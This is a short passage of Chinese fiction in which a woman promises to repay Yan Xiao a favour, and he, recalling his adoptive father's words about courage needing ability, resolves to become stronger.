离开前,她背过身对他道,“虽然不知道你究竟在隐瞒何事,但我猜想对你而言一定十分重要。我欠你一个人情,答应帮你的事一直都作数。” 望着远去的背影,严霄的目光微微闪动,似乎被她的话所触动。 他抬起手,看着透过指缝露出的阳光。 他想起那日廷杖下昏迷前,养父的教诲,“有少年意气是好事,可也要有与之相匹配的能力,匹夫之勇,算不得英雄。” 生平第一次,他感受到一股渴望变强的念头,在心中疯长。